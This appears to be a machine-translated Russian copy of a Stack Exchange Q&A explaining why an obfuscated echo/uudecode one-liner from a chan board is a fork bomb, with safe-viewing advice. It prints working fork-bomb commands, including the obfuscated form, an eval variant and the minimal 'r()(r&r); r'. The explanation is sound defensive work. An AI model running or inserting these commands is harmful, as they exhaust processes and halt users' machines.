Вопрос: Как и почему эта строка текста является вилкой?


Найдено на случайной чан-доске:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

Так или иначе, это приводит к бесконечно нерестущему процессу, который разрастается и размалывает машину до остановки. Я вижу кое-что о «су», пытающемся быть исполненным много раз.

..что странно, потому что я просто ожидаю, что текст будет выводиться, а не выполнение чего-либо.

Запуск этого текста через онлайн-декодер просто дает мне партию двоичного извержения:

uudecode result

Каков этот беспорядок текста на самом деле, и есть ли способ «безопасно» его просмотреть?


129
2017-11-06 06:48


Источник


Почему «su» выполняется много раз? - Brent Washburne
Совет: не запускайте код из произвольных чан-досок и будьте благодарны, что это была только вилка. - rr-
Хех. К счастью, я был на снимке виртуальной машины, предназначенной для того, чтобы играть с таким враждебным мусором. - Mikey T.K.
Я знаю, что это не по теме, но можно ли упомянуть совет и контекст, в котором упоминалась команда? - Sebi
@Sebi - archive.rebeccablacktech.com/g/thread/45564403 - Pikamander2


Ответы:


Во-первых, давайте рассмотрим всю команду:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

Он содержит строку с двойными кавычками, которая получает эхо uudecode, Но, обратите внимание, что внутри строки с двойными кавычками резервные цитируемое строка. Эта строка получает выполненный, Строка:

`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`

Если мы посмотрим, что в нем, мы видим три команды:

rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r

Выполнение расширение скобы по средней команде мы имеем:

rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r

Первая строка пытается запустить команду глупости в фоновом режиме. Это неважно.

Важна вторая строка: она определяет функцию r который при запуске запускает две копии. Разумеется, каждый из этих экземпляров выпустит еще две копии. И так далее.

Третья строка запускается r, начиная с вилочной бомбы.

Остальная часть кода, вне строки с обратной ссылкой, является просто абсурдом для обфускации.

Как выполнить команду безопасно

Этот код можно безопасно запускать, если мы установим ограничение на уровень вложенности функции. Это можно сделать с помощью bash's FUNCNEST переменная. Здесь мы установили 2 и это останавливает рекурсию:

$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Приведенные выше сообщения об ошибках показывают, что (a) бессмысленные команды rYWdl а также Y29j не обнаружены, (b) многократная остановка вилочной бомбы FUNCNEST и (c) выход echo не начинается с begin и, следовательно, недействителен для uudecode,

Взрывная бомба в простейшей форме

Как бы выглядела броская бомба, если бы мы сняли затемнение? Как предполагают njzk2 и gerrit, это будет выглядеть так:

echo "`r()(r&r);r`"

Мы можем упростить это еще дальше:

r()(r&r); r

Это состоит из двух утверждений: один определяет функцию fork-bomb r и второй пробег r,

Весь другой код, включая uudecode, был там только для затенения и неправильного направления.

Первоначальная форма имела еще один слой неправильного направления

ОП предоставил ссылка на обсуждение канала, на котором появился этот код. Как показано здесь, код выглядел так:

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

Обратите внимание на один из первых комментариев об этом коде:

Я влюбился в это. Скопирована только часть, которая эхо и декодирует, но все же   получил forkbombed

В форме на канале канала можно было бы наивно полагать, что проблема будет eval заявление, действующее на выходе uudecode, Это заставило бы думать, что удаление eval решит проблему. Как мы видели выше, это ложно и опасно.


189
2017-11-06 07:07



Коварный! Я никогда не думал, что рассмотрим оболочку globbing / expansion в середине эхо-строки. - Mikey T.K.
Я думаю, было бы хорошо отметить, что uudecode здесь совершенно не имеет значения. На мгновение я подумал uudecode выполнял второстепенную интерполяцию строк, которая сделала бы ее принципиально небезопасной, но вилка-бомба происходит до начала uudecode. - gerrit
...а также это, дамы и джентльмены, почему безопасность в сценариях оболочки настолько проклята. Даже абсолютно безобидные вещи могут убить вас. (Представьте, если бы это было введено пользователем откуда-то ...) - MathematicalOrchid
@MathematicsOrchid На самом деле требуется нетривиальное усилие, чтобы вызвать обратную запись в пользовательский ввод сценария оболочки для выполнения. И если вы строительство сценарий оболочки с пользовательского ввода, вы должны знать лучше, чем положить его в двойные кавычки. - Random832
@ njzk2 Вам все еще нужно &там: echo "`r()(r&r);r`", - gerrit


Чтобы ответить на вторую часть вашего вопроса:

... есть способ «безопасно» просмотреть его?

Чтобы разрядить эту строку, замените внешние двойные кавычки одиночными кавычками и избегайте одиночных кавычек, происходящих внутри строки. Таким образом, оболочка не будет выполнять какой-либо код, и вы фактически передаете все прямо uudecode:

$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Другие альтернативы отмечены в комментариях:

kasperd предложил:

$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Якоб Кралл предложил использовать текстовый редактор, вставить содержимое, а затем передать этот файл в uudecode.


10
2017-11-06 11:26



Альтернативно: Тип uudecode в командной строке. Нажмите Ввод. Скопируйте-вставьте строку, подлежащую расшифровке. - kasperd
Другая альтернатива: используйте текстовый редактор для сохранения содержимого в файл. Откройте этот файл с помощью uudecode, - Jacob Krall
Благодаря обоим, я отметил эти альтернативы в ответе. - gerrit
Убедитесь, что вы проверяете, что строка не такая, как echo "foo`die`bar'`die`'baz" первый! То есть, если у него есть 's в нем, то замена котировок одинарными кавычками будет недостаточной. - wchargin


На первый взгляд, вы можете подумать, что вывод в оболочку никогда не будет выполнен, Это все еще верно, Проблема уже в вход, Главный трюк - это то, что программисты называют приоритет оператора, Это порядок, с которым оболочка пытается обработать ваш вход:

1.       "                                                             "
2.                     rYWdl
3.                          &
4.                           r()(Y29j&r{,3Rl7Ig}&r{,T31wo})             
5.                                                         ;            
6.                                                          r           
7.                    `                                      `          
8.        I<RA('1E<W3t                                        26<F]F;== 
9.  echo                                                                
10.                                                                      |         
11.                                                                        uudecode
  1. Составьте строку, выполнив все команды backticks внутри нее.
  2. Обычно неизвестная команда, которая вызывает некоторый вывод, например Если «rYWdl» не является опечаткой, вы можете использовать команду не найденную для поиска пакета, который содержит его ... (зависит от системы)
  3. Выполняет 2. в фоновом режиме. Вы никогда не увидите выход.
  4. Определите функцию разблокировки вил.
  5. Командный разделитель.
  6. Запустите вилку.
  7. Вставьте результат 6. в строку. (Мы никогда сюда не приходим.)

Ошибка состоит в том, чтобы думать, что echo будет первой командой, которая будет выполнена, uudecode второй. Оба они никогда не будут достигнуты.

Вывод: Двойные кавычки всегда опасны для оболочки.


5
2017-11-11 08:01